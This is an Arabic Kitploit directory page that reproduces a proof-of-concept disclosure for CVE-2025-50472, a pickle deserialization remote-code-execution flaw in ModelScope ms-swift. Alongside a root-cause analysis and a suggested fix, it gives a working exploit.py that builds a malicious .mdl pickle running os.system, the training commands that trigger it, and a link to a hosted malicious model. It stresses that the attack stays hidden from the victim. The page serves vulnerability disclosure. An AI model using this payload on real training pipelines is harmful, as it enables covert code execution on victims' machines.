Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-50472 — إثبات المفهوم لاستغلال CVE-2025-50472، وهي ثغرة تنفيذ تعليمات برمجية عن بعد (RCE) عبر إلغاء التسلسل في ModelFileSystemCache في ModelScope ms-swift عبر ملفات .mdl خبيثة. | Kitploit
أدوات/GitHubGitHub/before-rain/cve-2025-50472
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubbefore-rain/cve-2025-50472

CVE-2025-50472

إثبات المفهوم لاستغلال CVE-2025-50472، وهي ثغرة تنفيذ تعليمات برمجية عن بعد (RCE) عبر إلغاء التسلسل في ModelFileSystemCache في ModelScope ms-swift عبر ملفات .mdl خبيثة.

عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-50472

ثغرة تنفيذ التعليمات البرمجية عن بُعد في ModelScope Ms-Swift ModelFileSystemCache بسبب إلغاء تسلسل البيانات غير الموثوقة

PoC لـ RCE

لقد قمت بتحميل مستودع تعليمات برمجية يحتوي على ملف .mdl ضار إلى ModelScope لأغراض الاختبار. يمكن استخدامه مباشرة أثناء الاختبار. الرابط هو: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files

image

يحتوي ملف .mdl على تعليمات برمجية ضارة مدمجة، ولكن لا يتم عرض أي تحذير أمني على ModelScope.

كود PoC:

root@kitploit:~
# إعداد البيئة
pip install ms-swift==2.6.1
pip install -r framework.txt # هذا الملف requirements موجود في مستودع modelscope/ms-swift
# عند استخدام المستودع البعيد HaoFan2024/ms-swift-test-fanhao، سيتم تنزيل ملف `.mdl` مباشرة.
# أثناء تحميل النموذج، يتم تحميل ملف `.mdl` باستخدام `pickle.load`، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
    --model_type qwen1half-0_5b-chat \
    --model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
    --dataset blossom-math-zh \
    --num_train_epochs 5 \
    --sft_type lora \
    --output_dir output \
    --eval_steps 200

إجراءات إعادة إنتاج المشكلة هي كما يلي:

  1. يتم تنزيل النموذج

    p1
  2. بعد تنفيذ التعليمات البرمجية الضارة، يستمر التدريب بشكل طبيعي دون انقطاع

    image
  3. يتم تنفيذ الحمولة الضارة بنجاح

    image

1. نظرة عامة عالية المستوى وتأثيرات الثغرة:

مكتبة modelscope/ms-swift حتى الإصدار 2.6.1 معرضة لتنفيذ تعليمات برمجية عشوائية من خلال إلغاء تسلسل البيانات غير الموثوقة داخل دالة load_model_meta() في الفئة ModelFileSystemCache(). يمكن للمهاجمين تنفيذ تعليمات برمجية وأوامر عشوائية عن طريق إنشاء حمولة .mdl متسلسلة ضارة، مستغلين استخدام pickle.load() على بيانات من مصادر غير موثوقة محتملة. تسمح هذه الثغرة بتنفيذ التعليمات البرمجية عن بُعد (RCE) عن طريق خداع الضحايا لتحميل نقطة فحص تبدو غير ضارة أثناء عملية تدريب عادية، مما يمكّن المهاجمين من تنفيذ تعليمات برمجية عشوائية على الجهاز المستهدف.

لاحظ أن ملف الحمولة هو ملف مخفي، مما يجعل من الصعب على الضحية اكتشاف العبث. والأهم من ذلك، أثناء عملية تدريب النموذج، بعد تحميل ملف .mdl وتنفيذ تعليمات برمجية عشوائية، تظل عملية التدريب العادية غير متأثرة، مما يعني أن المستخدم لا يدرك تنفيذ التعليمات البرمجية العشوائية.

2. المنتج المتأثر

  • المنتج: modelscope ms-swift
  • الوحدة: ModelFileSystemCache
  • الملف: swift/hub/utils/caching.py
  • الإصدار: <=2.6.1
  • رابط GitHub الدائم: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

3. تحليل السبب الجذري

  • وصف تفصيلي للثغرة: تنتج الثغرة عن إلغاء تسلسل غير آمن للبيانات غير الموثوقة. يستخدم السكريبت pickle.load لتحميل ملف ذاكرة التخزين المؤقت المخفي وهو عرضة لتنفيذ التعليمات البرمجية.

  • تدفق التعليمات البرمجية من الإدخال إلى الحالة الضعيفة:

    • أثناء تدريب النموذج، استخدم المستخدم طريقة تنزيل النموذج الافتراضية للحصول على نموذج من ModelScope. تم تخزين النموذج في المسار ~/.cache/modelscope/hub/xx/xx، حيث كان هناك ملف ذاكرة تخزين مؤقت .mdl في دليل النموذج، يحتوي على معلومات أساسية مثل اسم النموذج.
    • ثم استخدم المستخدم النموذج الذي تم تنزيله للضبط الدقيق أو إجراءات تدريب أخرى.
    • عندما قام سكريبت caching.py بإلغاء تسلسل ملف .mdl، تم تنفيذ التعليمات البرمجية الضارة المضمنة في الملف.
  • نقطة الحقن: تحدث الثغرة عند النقطة التي يتم فيها استدعاء pickle.load. رابط GitHub الدائم: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

  • الإصلاحات المقترحة: عند التعامل مع ملفات التكوين (وليس ملفات النموذج)، يُوصى باستخدام طرق تحليل ملفات أكثر أمانًا، مثل yaml.safe_load(yaml_file) أو json.load، لتخفيف خطر تنفيذ التعليمات البرمجية العشوائية.

4. PoC

  1. قم بتشغيل exploit.py لإنشاء ملف ذاكرة تخزين مؤقت ضار .mdl سينشئ دليلاً على نظام الضحية:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('mkdir HACKED',))  

# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
    f.write(data)
  1. استبدل ملف .mdl الأصلي في دليل النموذج بالملف الضار المُنشأ أعلاه.

  2. عندما يتم تحديد معلمة model_id_or_path أثناء التدريب للإشارة إلى دليل نموذج محلي، يمكن أن يؤدي ملف .mdl المزروع في المسار المحدد إلى تنفيذ التعليمات البرمجية عن بُعد (RCE). الأهم من ذلك، أن هذا التعديل لا يؤثر على سير العمل العادي للتدريب، مما يجعل هجوم RCE خفيًا ويصعب على المستخدمين اكتشافه.

root@kitploit:~
CUDA_VISIBLE_DEVICES=0 swift sft     --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat     --dataset blossom-math-zh     --num_train_epochs 5     --sft_type lora     --output_dir output     --eval_steps 200

المؤلف

هاو فان (凡浩) ويو رونغ (戎誉)

تنزيل الأداة